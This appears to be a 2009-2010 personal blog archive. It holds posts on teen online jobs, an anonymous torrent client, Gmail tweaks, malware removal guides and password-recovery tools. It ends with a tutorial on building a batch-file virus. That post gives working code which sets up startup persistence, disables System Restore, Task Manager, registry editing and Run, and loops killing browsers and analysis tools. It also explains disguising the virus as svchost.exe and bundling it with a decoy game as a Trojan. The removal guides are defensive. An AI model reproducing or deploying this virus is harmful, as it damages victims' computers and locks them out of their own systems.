Best Websites for Teens to Earn Money Online

2010-01-09T19:17:00.003+05:30

The following article has been taken as it is from www.makeuseof.com.
The article has some very useful resources which earlier were not known much.....I mean many of such schemes which we used to come across the internet were mostly fraud or unfeasible. But the following sites are purely exceptions to what i claimed above. The sites seems to be very much genuine and useful. Try your hands on it if you wish to make money out of internet.

---------->Start ------------>

As the end of the school year approaches, many high school and college students find themselves scrambling for summer jobs so that they can save up some spending money.

Unfortunately, there aren’t many decent paying jobs available for teens, especially in a rough economic climate. However, there are a number of websites that offer very easy money for teens online. For a teenager who is disciplined and responsible, online jobs are the easiest way to earn a significant wad of cash this summer.

Websites That Offer Easy Money for Teens

Teenagers today typically have an assortment of skills that are useful and valuable on the Internet. For teens who are skilled writers, earning money will be that much simpler. Additionally, there are also well paying jobs available for teenagers who know how to write web pages, write high-volume blogs or forum posts, or program in different Internet or desktop programming languages. However, finding those opportunities often involves wading through a mountain of garbage and scams. This article will provide teens with a guideline for the best opportunities on the web that offer easy money for teens.

1. Easy Income for Teens Who Can Write Articles

For any teen that has excellent writing skills, the Internet offers an abundance of cash just sitting there for the taking. Yes, it may take a full eight hours a day of good solid writing work – but what could be better than rolling out of bed at ten in the morning and going to work at home, in your pajamas? Sound too good to be true? Well put on your pajamas and check out these opportunities.

Associated Content

Associated Content is one of the most popular “user-generated content” sites that offers articles on just about every topic under the sun.

At Associated Content, you can either “claim” topics from the assignment desk, or you can submit topics of your choosing. You can earn both upfront payments, as well as monthly payments based on traffic to your articles. Starting out, you might only earn $3 to $4 per article you write, plus $1 to $2 for traffic – but if you wrote 5 articles a day, that’s $400 a month, plus additional monthly royalty payments.

Not only does writing for a site like AC establish you as a writer, but if your writing is exceptional, AC will even consider you as a preferred content producer, and their clients may ofter you writing gigs that pay $20 and up for an article.

Helium

Helium is another user-generated content forum that pays you both upfront fees as well as traffic royalties.

Helium is unfortunately a bit cheaper with their payments, and they’ve established a bunch of loopholes you need to jump through. You can earn about $1 per article plus traffic payments. However, to earn those payments you have to spend time “rating” articles – a painful and tedious process of comparing two articles and picking the one that’s better. But with Helium, the real money is in the “marketplace” section, where you can compete on client writing gigs worth anywhere from $5 to $100 or more.

Triond

Triond is another content site that accepts your articles and pays you royalties for traffic.

Triond is one of the few sites known for actually sending authors the payouts they’ve earned, so it deserves mention here. However, if you want to use Triond to add an income stream to your summer writing, you’ll need to submit a very large quantity of articles that are well written with SEO in mind, and can attract a very large stream of readers from the search engines. If you can accomplish that, then yes – you can earn money from Triond.

2. Make Money Writing Reviews or Writing Letters

One of the most popular reasons many people use the Internet is to research products before buying them. This has turned “reviews” into one of the most popular types of content online. If you like writing up product reviews, then there are countless opportunities to earn income from your written opinions.

I’ve written for Shared Reviews (the image above) before, because they do legitimately pay their authors. However, I’ve also heard that Epinions is another great review site to earn money from.

Have your friends ever told you that you’re amazing at writing letters? Then consider spending your summer creating custom letters at Letter Rep. Yes, the website isn’t exactly the prettiest site in the world – but by submitting letters to custom letter requests that visitors submit to the site, you stand to earn $10 per letter. Not only that, future visitors to the site can also purchase your letters, making your pile of work a wonderful source of residual income, not only throughout the summer, but even throughout the school year.

3. Quick Money for Teen Programmers

If you are an ace programmer with any programming language, you could spend your summer doing programming freelance jobs for some real cash. However, when it comes to finding freelance work, you have to be very careful what websites you visit – as most of them are useless or flat out scams.

Scriptlance is about as far from a scam as you can get. At the beginning of my online writing career, I spent months sifting through the latest project postings there (there are dozens per hour), and bidding on the ones that matched my skill set. There’s writing work, but the bulk of Scriptlance is programming work. If you post a professionally written proposal to the person who posted the project, your chance of landing the gig will be excellent. Just working on scriptlance projects alone, you could easily earn several thousand dollars by the end of the summer.

Other legitimate freelancing sites (although none quite as big as Scriptlance), include Rent A Ghost Writer, Elance, and iFreelance. Be sure to watch for new updates often, and be the first to post a bid.

Work Hard, Be Persistent, and Rake in the Dough!

The key for teens to successfully earn a small fortune during summer break through online work is by staying persistent, even when it looks like you’ll never land that first gig. Keep posting your daily articles to the royalty paying websites, and bid on freelance projects constantly. Soon, you’ll find that you have more work than you know what to do with. If you can discipline yourself to work for at least eight hours straight for every weekday during the summer – you’ll save far more money than any of your friends could earn waiting tables or mowing lawns!

Annonymously downloading Torrent

2010-01-07T07:33:00.002+05:30

Anomos is a BitTorrent client that uses cryptography and lets you share files anonymously. It is currently in beta, and it just works.

It’s a very barebones anonymous BitTorrent client –it doesn’t even show the number of seeds/peers. Nobody except the central tracker will be able to know who’s downloading what. That is exactly what an anonymous torrent client should provide, and that’s what Anomos does well.

The developers are constantly working on it to make it better. Download Anomos from here. It’s currently available for Linux and Windows.

What the developers claim is down here ---

Anomos is a pseudonymous, encrypted multi-peer-to-peer file distribution protocol. It is based on the peer/tracker concept of BitTorrent in combination with an onion routing anonymization layer, with the added benefit of end-to-end encryption. By combining these technologies, we have created a platform where by no party outside of the trusted tracker will have any information about who a peer is or what they are downloading.

Anomos is designed to be easy to use – you won’t even be aware of the security that it provides. Anybody who is already familiar with BitTorrent won’t have to do anything differently.

A more technical introduction is avaliable in this blog post. It’s a bit outdated, as the final protocol is still under active development. Soon, we’ll be releasing a complete guide to the Anomos protocol. The FAQ may provide some answers to any questions you may have.

The source code is available in our Git repository, and regularly updated source code documentation is available here. Downloads of releases are available on the downloads page.

Ultra-Productive Gmail Configuration

2009-12-10T15:27:00.000+05:30

Minimalist Gmail: How to Get Rid of the Non-Essentials

My new minimalist Gmail inbox.

I’ve been running a Minimalist Gmail setup lately, stripped of nearly everything but, you know, emails … and I’m in love with its simplicity.

There’s something pure about having nothing but the essentials.

Now, some of you will recall a couple of other posts I did, and let’s quickly review them for background:

1. Not long ago, I did a post on How to Make Gmail Your Ultimate Productivity Center. This was Gmail fully loaded, with gadgets for Google Calendar, Google Docs, delicious, Twitter, and much more. This was good, and I still recommend it to most people who want one place for everything they do.

2. Even less ago, I boldly announced I was Killing Email and ditching my inbox. A dramatic announcement, I know, from someone who has been such a Gmail fanboy for at least a few years.

So, two things: one, I haven’t completely killed email. I still use Gmail, though not as often. I have moved most of my communication to Twitter, Google Docs, a wiki, and Basecamp. But I still do email, a little. It’s a hard thing to kill, but maybe drastically reduced email usage is OK with me. It’s certainly less stressful.

Two, when I do use Gmail, lately, I am bothered by all the clutter. I removed all the gadgets, and still too much. Google is known for its simplicity, but I really wanted to strip out not only ads but chat and the navigation menus at the top and more. So I did.

I’ve used Greasemonkey for Firefox and some great user scripts, listed below, to achieve this. I thought of rewriting Gmail’s CSS, but user scripts are much easier. It didn’t take long — just Googled every little thing I wanted to do, and found others had already solved the problems, one at a time.

Here’s how I’ve made Gmail into a minimalist inbox:

1. Fire and Grease. First, be sure you’re running Firefox with Greasemonkey installed. I love the minimalism of Google Chrome — been running both the dev version and latest Chromium builds — but unfortunately it can’t do what Greasemonkey can, at the moment. So I mostly just use Firefox for Gmail now.

2. Remove gadgets. First thing I removed was gadgets — go to Settings, then Gadgets, and remove any you have installed. I had Twitter and Delicious. Then I went to Labs under Settings, and disabled “Multiple Inboxes” and the Google Docs and Google Calendar gadgets, as well as the option to move the Chat box to the right side of Gmail. Things were starting to get cleaned up!

3. Hide labels, chat, footer. I really wanted to remove chat but couldn’t figure it out. Also, the clutter in Gmail’s footer was bothering me. So I found this brilliant user script: Gmail 3: Hide Labels, Chat and Footer. Install it in a click, and voila! Lovely.

4. Remove ads. Ads on the right side of email messages also bothered me. Found a script to do this: Gmail Ad Remover. Added benefit of maximizing your screen space for messages.

5. Remove stars. It’s a minor thing, but the stars are unnecessary for me. I don’t use them for task management (did at one time), so what’s the point? Gmail Remove Stars to the rescue.

6. Gmail logo and searchbar. Found Gmail toggle searchbar area script. Cleans things up nicely. You can always toggle the search area back on if you need it, but most of the time when I’m processing email, responding, I don’t need this.

7. Menu navigation bar. This was the most annoying. I couldn’t figure out how to remove the navigation menus that run across the top of Gmail. Then found the Gmail Real Estate script. It actually toggles not only the navigation menus, but the search area too. This somewhat duplicates the logo and searchbar script’s function above, but I’ve found they actually work nicely together, allowing you to show just a minimal navigation bar if you like, or whatever you feel like showing at the moment. I normally have everything minimized.

Updated: 8. Clean up rows and remove the “inbox is empty” message! Matt Constantine responded to this post by writing two excellent Greasemonkey scripts. The first, called Gmail Clean Rows, removes the lines and other clutter from your inbox’s list of emails. The second is called Gmail Empty is Empty, and removed a small annoyance of mine — the message that shows up when your inbox is empty that says “No new mail! Want to read updates from your favorite sites? Try Google Reader”. Now the empty inbox is really empty, which is lovely lovely.

Updated: 9. Remove extraneous buttons. Matt Constantine took it a step further, at my request, and wrote Gmail Inbox with Less Buttons, removing all the buttons above and below the inbox, except archive, report spam and delete. This is perfect, because I don’t have a need for the move-to, label or more actions drop-down buttons, or the refresh link, or the Select links below all the buttons. Your needs may vary.

And that’s it. It might sound complicated, but basically it’s turning off some options in Gmail’s settings, and then installing a few user scripts. It should just take a few minutes. See the before and after pics below.

How I Use Gmail, the Minimalist Way
Now that everything is stripped down — no gadgets, no chat, no labels or stars — I just process and reply to email, and empty my inbox. Here’s how:

1. Use keyboard shortcuts. See this list if you don’t already know them. Pressing a key such as “c” or “r” or “a” to do email messages, or “j” or “k” or “x” or “y” to navigate and select and archive, is much faster than using the mouse. I can process very quickly using shortcuts.

2. Remove all unnecessary incoming email streams. Very important. Unsubscribe from all newsletters, all ads sent to you from businesses, all notifications from other services you use. Filter out messages from people who just forward jokes or chain mail. I no longer publish my email address, and give people other options for getting the info they want, so only my closest friends or business partners email me. Leaves the inbox relatively uncluttered.

3. Process quickly. Just run through your inbox, processing like lightning. Each email requires instant action: archive or trash, reply then archive, put on your task list (see next item) and archive. Or just do the task now, and archive. Those are the only options. Should take 10 minutes tops.

4. Tasks. I use a separate task list these days (Anxiety, a very simple Mac app) to make a quick note of any tasks, so that I can archive an email without needing it in the inbox as a reminder. Gmail Tasks is another good option — I don’t use it these days because I keep my email closed most of the time, and want my small task list open when I need it without having to open Gmail.

5. Short messages. Keep things short, and it doesn’t take long to reply. I try to do it in 3-5 sentences. I rarely go over this.

Before and After Pics
Took some screenshots to illustrate the changes. Click the thumbnails to see full images. Update: I’ve changed the “after” screenshot to illustrate the new scripts noted above by Matt Constantine.

Edit: The Firefox theme you see in the screenshots is Chromifox Basic, modeled after Google Chrome. I didn’t mention this above, but I removed most of the toolbars and icons from Firefox awhile back, to make Firefox as minimalist as I can. You can do this in the View->Toolbars menu, unselecting toolbars and removing icons as you please.

How to Ruggedize Your Own Gadgets (With Video!)

2009-11-30T16:29:00.000+05:30

Popular Mechanics has a detailed how-to on diy ruggedization of common portable electronics such as laptops, cameras, and cellphones. There is video of a laptop surviving an eight foot fall due to the tennis balls, pipe insulation, and weather stripping they’ve added. Its not just shock resistant, they’ve used a two-part compound marketed for making custom molded earplugs to make the laptop water resistant

Advanced Malwares - Beware of them !

2009-11-28T16:30:00.000+05:30

Though I don’t like telling stories, this one is really adventurous and I suggest you reading it since its about an encounter with a deadly malware and I am the hero!

As I had described in my previous posts, the conventional way of zeroing in on a virus, seemed to be really apt to me for all kinds. This was the same until I saw new viruses in my college digital library ( I would rather call it virus vault!). They were a breed apart, unlike normal viruses, they didn’t have any visible process running in task manager. This made it really tough to mark their presence in PCs. For a while I was tricked into believing that they didn’t exist on the PC and it had slowed down because of other issues. When I brought back home my pendrive, I noticed a new file U.COM in it, which didn’t execute thanks to my folder autorun.inf which is always present on my pendrive. Now I was sure the virus was present at college PCs, but didn’t have enough patience and time to go back there to try busting it, the place being public in nature.

A few days ago I was at my friends place, whose system gave a whole lot of problems ranging from slow start up, net getting disconnected, and browser hanging with errors. He was pleading to format his system and repartition it to remove any malwares hiding in other drives. FORMAT!!! The word I hate the most! I sat there with determination that its either the malware or me that’s getting screwed, and was able to ultimately fix it. Here is how I did it…..

Opening task manager didn’t do much help since it showed no presence of any suspicious process.
Upon opening a drive, it opened in a new window. This made me certain that some code was being executed prior to opening the drive, marking presence of an autorun.inf file, which will be super hidden.
Initially I tried restoring registry defaults, but it didn’t worked, indicating malware was active and was monitoring registry changes and re-writing the malicious keys if original entries were restored.
Since the only thing I was certain of was presence of a autorun.inf file, I went for the kill. Using killbox, wrote address of file as C:\autorun.inf and was able to find the file and deleted it. Since killbox takes backup of deleted file in a folder in C: drive, I accessed the file. Opened it by double clicking it ( don’t be afraid, these files wont eat up your system when opened!). I found code to execute a U.COM file on drive autorun. This made me happy since I got another chance to take my old revenge with this guy!
Using killbox, I gave instruction to delete the file C:\U.COM. I was able to find the file and deleted it. I repeated steps iv and v for all drives.
To be certain to delete all files, I searched internet for details on malware named U.COM and was able to find what all files it creates. I deleted,

c:\windows\system32\drivers\klif.sys

c:\windows\system32\olhrwef.exe

c:\windows\system32\nmdfgds0.dll

and delete the registry key-

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run cdoosoft C:\WINDOWS\system32\olhrwef.exe

Having cleaned the mess, I restored windows registry defaults, entered each drive, created a dummy autorun.inf folder and deleted suspicious files as well. Also delete all files that killbox had taken backup after deleting. I deleted all files from all temp locations and using ccleaner, deleted the start up entries of U.COM. Search in registry editor for U.COM entries and delete them all. Usually there are other related entries in the same sub key, delete them too. Restart your system and check if every thing is OK.

The malware U.COM comes in the category of CLOAKED MALWARE, the new generation viruses. They run hidden from task manager, inside a back ground service, like svchost, along with other system processes. They write to other programs virtual memory, also called as process hijacking. They are packed and/ or encrypted to be invisible to our eyes. It is added as a Registry auto start to load Program on Boot up. It creates various files inside system32 folder and also in all drives and alters registry to hide its files from user.

PC slow and don’t see any reason why, beware, you could be a victim!!

Guide - Removing Malwares

2009-11-25T16:24:00.000+05:30

If someone says that he never encountered a malware infection on his PC, probably he is lying. What ever antivirus you use, at some point of time, you will face this occasion that PC gets infected and your antivirus never detected it. Modern day heuristics enabled antivirus have reduced such chances, but most of the time its not so. The strangest thing about malware is that you feel their presence without any diagnostics! May be that’s because of the resonance that we develop with our PCs over time…!

Let’s first learn what malware are…

Types of malware:

Virus: A virus is a malicious program that can replicate itself and affect normal operations of a system without knowledge or permission of the user. It attaches itself to executable code and runs every time the code is run, making multiple copies of itself. It corrupts the files, denies access to data and hence renders data useless.
Worm: Unlike a virus, a worm is independent and doesn’t attach itself to any file or code. It is capable of spreading without need of any host file. It replicates by copying itself through network. Worms prominently attack only networks, sending its copies to all users in your address book, causing DoS (Denial of service) attack and affecting your internet functionality.
Trojans: As the name goes, it hides inside a seemingly legitimate program and runs malicious code from there. Once run, the host computer gets infected and it starts replicating. It performs various activities like sending your data to its creator, or logging what you type (your passwords, bank account details) and sending them to its creator without your consent. It can even cause damage to your data by simply deleting it. Trojans have capability to change their code to trick the antivirus programs into not detecting them. Some are even scheduled to strike at preset dates.
Spyware: Very similar to Trojans, these applications are solely designed to steal your data. But unlike Trojans, they don’t have the capability to replicate themselves.
Cloaked malware: These are the new generation malware that are becoming a nightmare in computing sector. Cloaked malware are Rootkits that are invisible to windows explorer and hence to antivirus. They run hidden from task manager making it difficult to mark its presence. Its files are hidden on system and thus antivirus doesn’t detect them.

So, these are malware. Once executed by us, they go active in system memory, multiplying and applying constrains to privileges and adding entries to registry to make sure that are run at least once when system starts. They add malicious entries to registry to make sure that they are masked by disabling task manager, registry editor and folder options. They make files that enable them to be executed when drives are opened and continuously monitors ours system to gain chance to spread. But how do we identify their presence in our systems? These are the symptoms….

Identification:

i. Unrecognised processes and files: The presence of unrecognised processes running in task manager or presence of unrecognised files on drives marks presence of malware.

The key to identifying the presence is to keep vigil on the processes that run in back ground. This begins from day you install a software, see what process it runs. Also remember what all files you have present on your hard drive. Any new file or folder with .exe extension, anything with provocative name or cute icon can potentially be a result of infection. In event of task manager being disabled, process explorer by sis internals can be used to analyse processes running.

ii. File and system behaviour: If you ever notice that drives open in new windows, system taking more time during startup, CPU showing excessive activity even on no load or files or folders reappearing even after deleting them or not getting deleted at all, there is a high probability that your system is infected.

Files in pendrive disappearing and being replaced by smaller folders (with .exe extension if noticed) very clearly indicated presence of malicious code.

File activity can be detected by using the application filemon. An expert view on file activity can easily uncover malicious activity.

iii. Network activity: If you get complaints that some of your friends are getting strange e-mails from you, with links to unknown sites or strange file attachments, this could be a worm at work.

Increased network activity noticed in portmon etc also implies presence of network worms.

iv. Reduced privileges: Getting error messages of “ ….disabled by administrator….” on running RUN , Task manager or accessing Registry editor etc plainly implies your system is infected and malicious entries made in registry.

v. Malicious entries in registry: Same implies when you get errors on startup like file not found etc. This is because of malicious programs making entries in registry to auto start at system startup. This can also be analysed by using the application autoruns from sis internals suit. Or simply run MSCONFIG in run menu and check startup applications.

These symptoms confirm presence of malware in your PC. Now that you know that you two aren’t alone, how do you zero in on the culprit, keeping in mind that your loyal antivirus let it in? Here under is a step by step procedure to catch the culprit and to kick it out. Stop all other applications and disconnect the internet. Keep your weapons handy…….. War has begun!

Eradication of malware:

i. Identification of process in memory: Once executed, the conventional malware tend to be active in system memory, running a process that carries out the task the malware was designed to do. Nowadays it is common that malware alters registry to disable task manager, Run and registry editor, hence use process explorer to view active processes in memory. Tips to identification includes-

a. Usually a few malware are easily identified by very high CPU usage even when you aren’t running any CPU consuming application.

b. Many carry names that are suspicious to even laymen. Some include Khatarnak.exe, khatra.exe, music.exe, new folder.exe, soundmix.exe, etc. Most of them run under the explorer section in process explorer.

c. Smart viruses today carry names that are spoofs of windows processes. Like Regsvr32.exe is a windows application, but virus carry name Regsvr.exe. Similarly a malware spoofs the name of windows service host svchost.exe and run a process svcshost.exe. In such cases identification becomes tough and depends more on your experience and logical approach. Obviously a process Regsvr.exe isn’t expected to run always in your system. And a service host with odd spelling that runs under explorer is suspicious. Assistance can always be taken on-line regarding any suspicious process.

d. Repetitive processes of same name present in memory, when just one or no such application is running, also points out that the process is malicious code. But svchost.exe is one exception, with 5 such processes running at a time.

e. Reverse analysis can be made by identifying all legitimate processes and their triggering applications to identify the left out applications as suspicious.

f. Cloaked malware aren’t easily identified since they run hidden from explorer. Their files and memory residency isn’t visible. Hence, their presence is hard to verify. The sis internals tool Rootkit revealer does a good job in detecting Rootkits. It scans registry and file system for discrepancies and lets us know possible Rootkits that are actually present but not mentioned in windows API. Extreme caution should be taken while taking any action based on its result, since it just gives a probable result and not certain.

Having identified the malicious process in memory, the next task is to know where it is executing from. This can easily be verified from process explorer.

ii. Stopping the malicious code execution: The next step is to stop the execution of malicious code. The malicious code as long as active in memory can keep multiplying, and monitors system to maintain its malicious action and keeps vigil on registry, not allowing it to be rectified. This task can simply be done by task manager/ process explorer or may even need a boot from secondary device.

Note: Now on, don’t open any drives by double clicking on them, since this can trigger drive autorun which is usually linked to auto running malicious code using an autorun.inf file. Open drives by address bar or explore instead. Do not open any new folders etc, since they can probably be masked Trojans having folder icon!

a. The basic step is to end task the identified malware to stop its execution. This can be done directly by process explorer .In case a new malicious process pops up on termination of the first process, probably its running from another location. End task that process too. Preferably end task the process tree, but be sure you have noted down where from it is executing.

b. In case the process keeps on starting again and again, it probably got another file backing it up. In that case, using killbox, end process and delete the file. To use killbox, it is required to know the location of the file, which is obtained from process explorer.

Note: Even if file was end tasked in step a. , it has to deleted using killbox. The reason killbox isn’t given priority to end explorer shell is that while deleting the file with ending explorer shell, it restarts the windows explorer, which is often accompanied by malicious code executing again. The best way is to end task the process using process explorer, delete it using killbox. If file is in use, unlock it using the tool Unlocker, and then delete it.

c. Some smart malware can’t be deleted even using killbox, sighting privileges issues. Then it is required to boot from a secondary device, preferably Bart’s PE live CD and delete the malicious files.

d. Rootkits once identified can be deleted the same way as above using killbox or by boot through a secondary device. Since the process they run is hidden, it becomes tough verifying if the malware execution has stopped or not. Rely on your instincts to see if every thing is ok or assume at this stage that malware is not active in memory now.

iii. Regaining authority: Malware usually limits our privileges to make sure it is hidden or cant be detected. These include disabling task manager, Run, registry editor or disabling registry import etc. The next step is to regain control of our system.

a. Using Windows group policy editor (Found in system32 directory), Go to User configuration- Administrative templates- Start menu and task bar. Go to remove Run menu from start menu and disable it. This enables Run command. Now on, group policy editor is accessible by typing gpedit.msc in run menu.

Group policy editor can be used to modify user privileges, and can undo them too. But taking simplicity of other procedure into account, we prefer the other ways.

Note: gpedit isn’t available in windows XP home edition. The stand alone module to modify group policy can be downloaded.

b. In run type,

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f

And run the command. This removes the entry in registry that had disabled registry editing. Now registry editing is allowed, though windows registry editor may still be disabled.

Note: Type the above command in a notepad and store it. Change extension to .bat , you get your own registry editing enabler tool!

c. Download the windows registry defaults entries from downloads section and add them to registry. This enables registry editor, task manager, folder options.

At this stage if you realise that restored defaults are altered once again to impose restrictions, this means malware is still active in memory. Repeat the identification and stop its execution.

iv. Removing supporting restart mechanisms: Now that malicious code isn’t active in memory, the next step is to remove its supporting mechanisms. Every malware once executed, makes sure that it is executed at least once on every system start up. This is achieved by entries in registry or modifying autoexec.bat or config.sys etc. Entries in registry are the most preferred option by malware, and we will go by it.

a. Many malware leave behind triggering files in drives that restarts the malware in full force once the drives are double clicked. They work by making a autorun.inf file linked to triggering malware file such that every time drive is autorun, the malware is triggered again. Our first priority is to remove such kind of start mechanisms.

Open my computer, go to folder options and enable view hidden files and folder, un-tick hide extensions of known file types & hide protected operating system files. Upon un-ticking hide protected operating system files, a confirmation is asked, confirm positive. Once finished, apply the settings. Now enter C: drive by address bar or by right clicking and explore. You will now see many files that were hidden earlier.

Check presence of any autorun.inf file. Open it by double clicking it (it wont hurt!!) and if readable, check what file was meant to be auto run.

Caution: There are many system files visible that are responsible for booting your system. Do not go on a random deletion spree, lest your system doesn’t boot again!! Some of the system files and folder are:

Autoexec.bat, config.sys, hiberfil.sys, pagefile.sys, IO.sys, MSDOS.SYS, boot.ini, NTDETECT.COM, ntldr and config.sys folder, system volume information folder, recycler folder etc.

Delete the file mentioned in autorun.inf file and also the autorun.inf file itself. Also delete anything like a folder of any name with an .exe extension. Also delete any other .BAT or .COM file other than those mentioned above. Repeat the process for all drives, opening each of them without double clicking them. In event of confusion, take help online, preferably on another system.

Entries at registry are made to make sure that malware executes at every system startup and stays in memory. Use the tool autoruns from sys internals to check start-up keys in registry. It lists all processes and files scheduled to be autorun at startup, but mixed up with windows applications. A few not so smart malware make entries that are visible in startup of MSCONFIG (Run MSCONFIG in run menu). A much useful tool is HijackThis from trend micro. This tool lists all non windows processes starting at startup making it possible to have a clear picture of scenario. It has a tool called ADS scanner that can be used to detect Rootkits as well. All such malicious entries are to be simply deleted.

v. Finishing with cleaning all scrap: By this time you will know what had struck you. Search on net for more details regarding the infection and delete its sister files as well. Had there been any entries that were left ignored by you, delete them too, verifying them from net.

Clean all temporary files, type temp, %temp%, prefetch in run command (one at a time!) and open the locations. Delete all files stored in them. Use Unlocker to unlock any locked files. Delete all cookies and other files in download folders. Go for a manual hunt in documents and settings folder and delete any last traces of infection.

Some Trojans mask themselves with folder icons, go to search and search the system, including hidden files, for all files with .exe extension. Type *.exe in search tab. A lot of applications will appear in search results, delete those with icon of a folder. You can also search for “new folder.exe “in search.

Delete all previous system restore points, since they may be hiding infection. Keep an antivirus handy. Restart your system now. Check startup time, verify task manager is working and check processes running in it. If all things work fine, congrats!! You just won the battle!!

Any cryptic error messages like file not found means start up entries for malicious code are still present though code is not. Simply run HijackThis again and delete the entries. Install a good antivirus and update it. Preferably re-install the web browser too.

Now that your system is malware free, make a commitment to her that now on you play clean, play safe. Keep updating your antivirus and be cautious online, avoid dirty sites, install an antivirus with site advisor, be extra cautious with removable media.

Hope you live happily hereafter!!

Note: A case study- Remove System security fake antivirus.

Due to popular demand noticed, I have posted the specific procedure to remove system security malware manually.

Kill processes:
Open Process explorer and kill the process named 1632575944.exe . It may also carry some other number as name. Kill it, after you note the location it is executing from.

Delete registry values:

Open registry editor and delete the value. You may need to restore defaults using my restore default tool to enable registry editing and other defaults( Go to home page and download it from downloads section).
%UserProfile%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run “1632575944″

Else you can use the autoruns tool and delete this key from logon tab.

Delete files:

Search and delete the following files. You can use windows search too.
1632575944.exe, config.udb, init.udb, English.lng, German.lng, Spanish.lng, System Security.lnk

Delete directories:
c:\Documents and Settings\All Users\Application Data\538654387
c:\Documents and Settings\All Users\Application Data\538654387\Languages
C:\Documents and settings\All Users\Start Menu\Programs\System Security

Reboot and check if every thing is ok.

Firefox Master Password Recovery Tool

2009-11-20T16:10:00.002+05:30

It’s great in this day and age that browsers can remember our passwords for us, allowing us cross-site security without the hassle of memorizing a million different random passwords. It’s great, that is, until we forget our master password. Fret not, though; there is a solution. The folks over at Lifehacker show us how to use FireMaster to recover forgotten or misplaced Firefox master passwords. Perhaps a better solution is to just store those tricky passwords where nobody will find them.

Cain and Abel: Windows password recovery utility

2009-11-18T13:18:00.000+05:30

As far as password recovery utilities go, Cain & Abel is by far one of the best out there. It’s designed to run on Microsoft Windows 2000/XP/Vista but has methods to recover passwords for other systems. It is able to find passwords in the local cache, decode scrambled passwords, find wireless network keys or use brute-force and dictionary attacks. For recovering passwords on other systems Cain & Abel has the ability to sniff the local network for passwords transmitted via HTTP/HTTPS, POP3, IMAP, SMTP and much more. We think it is quite possibly one of the best utilities to have as a system administrator, and definitely a must have for your toolbox.

How to make your own Batch file Virus ? Part II

2009-11-17T13:10:00.000+05:30

* Written for Educational purpose only.

It’s been a while that the post Eradicate malware have been helping many fix malware issues, but over the time, malware have evolved too. There are new tricks up its sleeves and other surprises that will make you look ahead to the most miserable option – to reinstall your windows. With the sole motive to learn a few more strategies that malware employ to put us into trouble, we make our own malware and see it work. This will develop in us a lot of understanding how malware cause trouble, even preventing antivirus programs to remove them. This will eventually make us skilled enough to catch loop holes in malware that can be exploited to get rid of it, and we do the same at the end of the post. Now, leaving behind our good intensions, let’s put on our masks and enter the darklab!

In a previous post we had learned to make a basic batch file virus , learning a few DOS and batch basics, which did a little mischief. Well, this time we gonna turn a little more mischievous! The issue with our virus was that it ran a few tasks and later terminated, but this time, we gonna make it run continuously in a cycle, causing little close to what can be called havoc!

This time we will make a virus that will alter registry to start at startup and also place restrictions that will make removing it tough. Like many other malware do- disable system restore, disable registry editing, disable task manager, disable run, and disable folder options as well. In short, a tough one to catch hold of manually! And the virus will remain active in memory, running a process that will monitor your activity and prevent you from running any browser or IM client.

Since we have had discussed how we move around in DOS environment, we will directly speak of motives and how we accomplish them. Our main virus will as usual be a single executable. This file will be a decoy, tempting our victim to open it, posing as a crack or a game. Upon successful execution, this will launch out first batch file that will plant the main virus, another executable file at a secure location and then execute it. Hence, we see how a seemingly legitimate program causes you harm; this is what is called a Trojan horse planter. This launcher can be made to run a legitimate application at the end too, making us less suspicious of what we did in background.

As soon as the virus is planted, it is executed and the second batch file is run, that makes startup entries, apply restrictions and then as planned, runs a loop that will continuously trouble you. The point to be noted here is that the loop can either just carry out the aimed task, which is closing all internet applications in our case, or will carry out the aim and continuously refresh restrictions. In the latter case, unless the malicious process in memory is stopped, registry defaults tools fail to help you; and this is what is happening in newer viruses. It is also important to be mentioned that the registry key responsible for opening the exe files is also being edited by most viruses nowadays, making us helpless since we cant run or install our dependable antivirus. We don’t include this feature in our virus since it crosses the fine line between a prank and a dirty crime.

Thus, you can’t view the virus file, that will be super hidden, nor will you be able to restore registry defaults, which is relaxed in this case fearing avoiding the worst in case you execute the virus yourself…!

Having learned what we are going to do, we head towards code part. Open up a notepad file and key down this code, this will serve as our main batch file.

force.bat code:

@ECHO OFF

REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v winlogon /t REG_SZ /d %windir%\system32\config\svchost.exe /f

reg add “HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore” /v DisableSR /t REG_DWORD /d 1 /f

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f

REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f

REG add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f

REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f

:loop

taskkill /F /IM taskmgr.exe /IM procexp.exe /IM firefox.exe /IM chrome.exe /IM iexplore.exe /IM yahoomessenger.exe /IM autoruns.exe

goto loop

After entering the code, go to save as, save this file as force.bat , while keeping save as type as All files. Now, download Bat to exe converter and convert this batch file to an exe file, while keeping options as instructed below:

Set visibility as invisible application.
Set working directory as Temporary directory.
Set temporary files to delete at exit.

In the version information tab, choose an icon file of a DLL and compile the batch file. You will get an exe file that will have icon of a DLL file. Rename this file to svchost.exe, this name and icon will serve as our decoy. Than change the attributes of this file to hidden, if you desire, so that naked eyes don’t find it. Use the attrib command as discussed in the previous post.

Now, the virus is ready, we need a planter that will launch the virus on your PC. For this we code this launch batch file as follows.

Launch.bat code:

@echo off

move /y svchost.exe “%windir%\system32\config\”

start %windir%\system32\config\svchost.exe

start game.exe

exit

Notice that you will need an application that will run after you run the planter, to avoid suspicion. This is a small flash game named “game.exe” in our case. And we choose icon for our launcher as a game icon. If you want it other way, you can choose an mp3 icon, and change the code as –

start song.mp3

And include into launcher a song that will be played once the launcher is executed.

After the file have been coded, name it as launch.bat . Now, we get a small flash game & an icon for it and run bat to exe converter. Choose options as we did in previous case and set the icon file as well. But this time, go to include tab and select add option and add the previously made svchost.exe file and the flash game, renamed to game.exe. Now compile this and of virus is ready.

